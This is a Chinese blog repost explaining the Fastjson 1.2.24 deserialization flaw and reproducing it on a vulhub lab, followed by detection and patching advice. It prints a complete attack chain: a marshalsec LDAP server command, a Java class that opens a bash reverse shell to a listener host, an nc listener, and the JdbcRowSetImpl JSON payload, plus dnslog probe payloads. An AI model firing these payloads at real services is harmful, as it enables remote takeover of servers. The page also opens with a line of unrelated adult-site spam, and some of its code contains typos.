国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Fastjson反序列化漏洞原理與復現(xiàn)

這篇具有很好參考價值的文章主要介紹了Fastjson反序列化漏洞原理與復現(xiàn)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

1 漏洞介紹

1.1 Fastjson簡介

Fastjson是java的一個庫,可以將Java對象轉(zhuǎn)化為json格式的字符串,也可以將json格式的字符串轉(zhuǎn)化為Java對象。

Fastjson提供了toJSONString()parseObject()方法來將Java對象與JSON相互轉(zhuǎn)換。調(diào)用toJSONString()方法即可將對象轉(zhuǎn)換成 JSON 字符串,parseObject()方法則反過來將JSON字符串轉(zhuǎn)換成對象。

1.2 漏洞原理

在反序列化的時候,會進入parseField()方法,進入該方法后,就會調(diào)用setValue(object, value)方法,在這里,會執(zhí)行構(gòu)造的惡意代碼,最后造成代碼執(zhí)行。

首先需要指定一個惡意類,以讓Java程序獲取后進行反序列化操作。然后將需要執(zhí)行的代碼提供給程序,這里可使用LDAP或RMI協(xié)議。 然后反序列化的時候會去請求LDAP/RMI服務器,與Log4j漏洞利用類似,加載這個惡意類文件從而引發(fā)代碼執(zhí)行漏洞。

2 復現(xiàn)流程

fastjson版本<1.2.24 <1.2.27

序列化時會調(diào)用成員變量的get方法,私有成員變量不會被序列化。

反序列化時,會調(diào)用成員變量的set方法,public修飾的成員全部自動賦值。

2.1 環(huán)境搭建

vulhub靶場

#1 下載靶場
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
#2 編譯,運行
docker-compose build
docker-compose up -d
#3 查看IP和端口
docker-compose ps
docker ps
#4 關(guān)閉靶場
docker-compose down

這里進入vulhub目錄太慢了,而且路徑也容易記錯。可以篡改系統(tǒng)命令,添加命令別名。

vim ~/.bashrc
#在合適的位置添加如下語句
alias vulhub='cd /var/local/soft/vulhub;ls'
#保存并退出
source ~/.bashrc

靶機:centos 192.168.131.121

監(jiān)聽主機:Kali 192.168.131.134:9999

其他環(huán)境與Log4j相同——http://t.csdn.cn/l1xmR

2.2 測試

LDAP服務器中,執(zhí)行如下代碼

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.128:2222/#GetShell 1234

其中getshell是惡意類的類名,1234是監(jiān)聽的端口號,該工具可以啟動JNDI或RMI接口。

當命令行顯示Listening on 0.0.0.0:1234時表示服務開啟成功。

構(gòu)建一個惡意類GetShell.class

/*
 * getshell.java
 * 將其編譯后生成Exploit.class
 * 上傳到HTTP服務器
 */
public class GetShell{
    public GetShell(){
        Runtime.getRuntime.exec("bash -i >&/dev/tcp/192.168.101.134/9999 0>&1");//監(jiān)聽主機的IP和端口號
    }
    public static void main(Sring[] args){
        GetShell e = new GetShell();
    }
}
//直接使用靜態(tài)代碼塊亦可

監(jiān)聽主機Kali開啟監(jiān)聽:

nc -lvp 9999      # 9999是監(jiān)聽反彈shell的端口

這時,可以向靶場環(huán)境以POST的方式發(fā)送數(shù)據(jù)(payload)如下

POST /HTTP/1.1
Host:xxxxxxxx
...
Content-Type:application/json
Content-Length:146
{
	"x":{
		"@type":"com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName":"ldap://192.168.101.133:1234/GetShell",
		"autoCommit":true
	}
}

反彈shell成功即可。

2.3 過程分析

用到的反序列化方法

//返回實際類型的對象
Object returnObj = JSON.parseObject(serializedStr,returnObject.class);
//返回JsonObject對象
Object obj = JSON.parse(serializedStr);
//子類中包含接口或抽象類時,類型丟失
{"@type":"com.xxx.User","age":2,"flag":false,"name":"zhangsan"}

利用類

com.sun.rowset.JdbcRowSetImpl

使用時會引入一個dataSourceName支持傳入一個rmi數(shù)據(jù)源,可以實現(xiàn)JNDI、LDAP端口注入攻擊。

流程

序列化字符:準備類名、dataSourceName屬性和autoCommit屬性;

JdbcRowSetImpl反序列化,調(diào)用JdbcRowSetImpl的setAutoCommit(),setAutoCommit()調(diào)用connect();

connect()調(diào)用lookup()鏈接到LDAP/RMI服務器,下載惡意代碼到本地,執(zhí)行攻擊。

3 漏洞防御

3.1 排查方法

  1. 找到發(fā)送JSON序列化數(shù)據(jù)的接口

  2. 抓包判斷是否使用fastjson

  3. 傳入不完整或錯誤的json數(shù)據(jù),{“xx”:"查看返回的數(shù)據(jù)是否暴露

  4. 使用dnslog ceye檢測

    package src;
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    public class FastTest {
        public static void main(String[] args) {
            String json1="{\"zeo\":
    {\"@type\":\"java.net.Inet4Address\",\"val\":\"aaa.fooe50.ceye.io\"}}";
            JSONObject jsonObject= JSON.parseObject(json1);
       }
    }
    

    fastjson1.2.67以后的版本

    {"@type":"java.net.Inet4Address","val":"dnslog"}
    {"@type":"java.net.Inet6Address","val":"dnslog"}
    畸形:
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"這?是dnslog"}}
    
  5. 使用Burp插件文章來源地址http://www.zghlxwxcb.cn/news/detail-651903.html

3.2 漏洞修復

  1. 升級JDK
  2. 升級Fastjson到最新版
  3. 使用安全產(chǎn)品過濾
  4. 更換其他序列化工具Jackson/Gson

到了這里,關(guān)于Fastjson反序列化漏洞原理與復現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權(quán),不承擔相關(guān)法律責任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務器費用

相關(guān)文章

  • 滲透測試-Fastjson反序列化漏洞getshell

    滲透測試-Fastjson反序列化漏洞getshell

    目錄 前言 測試環(huán)境準備 dnslog測試 搭建rmi服務器準備惡意類 引用JdbcRowSetImpl攻擊 反彈shell$命令執(zhí)行 總結(jié) :fastjson 1.2.24反序列化導致任意命令執(zhí)行漏洞 注:本次滲透測試全在虛擬機中進行僅用于學習交流,請勿在實際網(wǎng)絡中攻擊他人服務器。 前言 ????????最原始

    2024年02月07日
    瀏覽(31)
  • 【java安全】FastJson反序列化漏洞淺析

    【java安全】FastJson反序列化漏洞淺析

    0x00.前言 前面我們學習了RMI和JNDI知識,接下來我們就可以來了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的開源JSON解析庫,它可以解析JSON格式的字符串,支持 將JavaBean序列化為JSON字符串,也可以將JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我們需要使用

    2024年02月11日
    瀏覽(33)
  • fastjson 1.2.24  反序列化漏洞(審計分析)

    fastjson 1.2.24 反序列化漏洞(審計分析)

    環(huán)境 JDK 8u181 Fastjson 1.2.24 POC 跟進 parse 方法 跟進到底層deserialze 方法 Poc 中傳入的 dataSourceName : ldap://192.168.3.229:8084/vnSYPYwMs 值 這里實際對應 setDataSourceName 方法,調(diào)用此方法并傳入 ldap 跟進 setDataSourceName 方法,這里只是簡單賦值 ? 步出回此方法 繼續(xù)步出,進入parseRest方法 跟進

    2023年04月14日
    瀏覽(37)
  • Fastjson反序列化漏洞(1.2.24 RCE)

    Fastjson反序列化漏洞(1.2.24 RCE)

    目錄 (一)Fastjson介紹 1、認識Fastjson 1.1?序列化 1.2??反序列化 1.3?@type 自省 Autotype (二)漏洞原理 1、比較常用的攻擊類 1.1??com.sun.rowset.JdbcRowSetImpl 1.2?com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE復現(xiàn) 1、vulnhub啟動 注意:Linux配置JRE版本 2、攻擊機監(jiān)聽(

    2024年02月07日
    瀏覽(32)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (編譯好的文件) 攻擊者建立rmi服務端,于rmi服務端建造一系列攻擊對象 ,假設遠程地址為 http://abc,可url鏈接到惡意class-attach.class 若被攻擊者訪問到此服務 rmi://abc/attach.class ,靜態(tài)代碼塊會優(yōu)先加載,無需構(gòu)造對象。 fastJson通過序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    瀏覽(25)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全稱為 Java Naming and Directory Interface(Java命名和目錄接口),是一組應用程序接口,為開發(fā)人員查找和訪問各種資源提供了統(tǒng)一的通用接口,可以用來定義用戶、網(wǎng)絡、機器、對象和服務等各種資源。 JNDI支持的服務主要有:DNS、LDAP、CORBA、RMI等。 簡單從安全角度

    2024年02月09日
    瀏覽(26)
  • FastJson反序列化分析

    FastJson反序列化分析

    前言:網(wǎng)上關(guān)于FastJson的分析文章一大片,本文只是筆者在實踐操作中理解的一些東西,不算特別詳細,留作日后復習,歡迎一起交流 什么是FastJson? Fastjson是一個由阿里巴巴維護的一個json庫。它采用一種“假定有序快速匹配”的算法,是號稱Java中最快的json庫。 先來看看一

    2024年02月06日
    瀏覽(46)
  • FastJson序列化導致的 “$ref“

    FastJson序列化導致的 “$ref“

    前言: 剛轉(zhuǎn)后端沒多久,在通過 RPC 調(diào)用其他組的服務的時候,其他組對接的同學說,你的入?yún)⑹怯袉栴}的,然后他把入?yún)l(fā)我,類似于下面的 json : 這個對象包含一個 addressMO 和 brotherMO 以及 name 和 age , brotherMO 中也包含了 addressMO ,就會導致 出現(xiàn)上面的 \\\"$ref\\\": \\\"$.addressMO

    2024年02月02日
    瀏覽(22)
  • 關(guān)于fastjson序列化失敗的問題

    關(guān)于fastjson序列化失敗的問題

    com.alibaba.fastjson2.JSONArray cannot be cast to com.alibaba.fastjson2.JSONArray 我們使用若依的架子把common抽離出來一個jar包,導致從redis中序列化出錯 這是由于springboot-devtools 使用restartClassLoader加載了JSONArray 而上層controller中的JSONArray依然是AppClassLoader,兩個不同的類加載器加載的JSONArray沒法

    2024年02月13日
    瀏覽(17)
  • Java反序列化—Fastjson基礎(chǔ)

    Java反序列化—Fastjson基礎(chǔ)

    最近擺爛了很久,來學習一下fastjson Fastjson 是 Alibaba 開發(fā)的 Java 語言編寫的高性能 JSON 庫,用于將數(shù)據(jù)在 JSON 和 Java Object 之間互相轉(zhuǎn)換。 提供兩個主要接口來分別實現(xiàn)序列化和反序列化操作。 JSON.toJSONString 將 Java 對象轉(zhuǎn)換為 json 對象,序列化的過程。 JSON.parseObject/JSON.pars

    2024年02月02日
    瀏覽(24)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包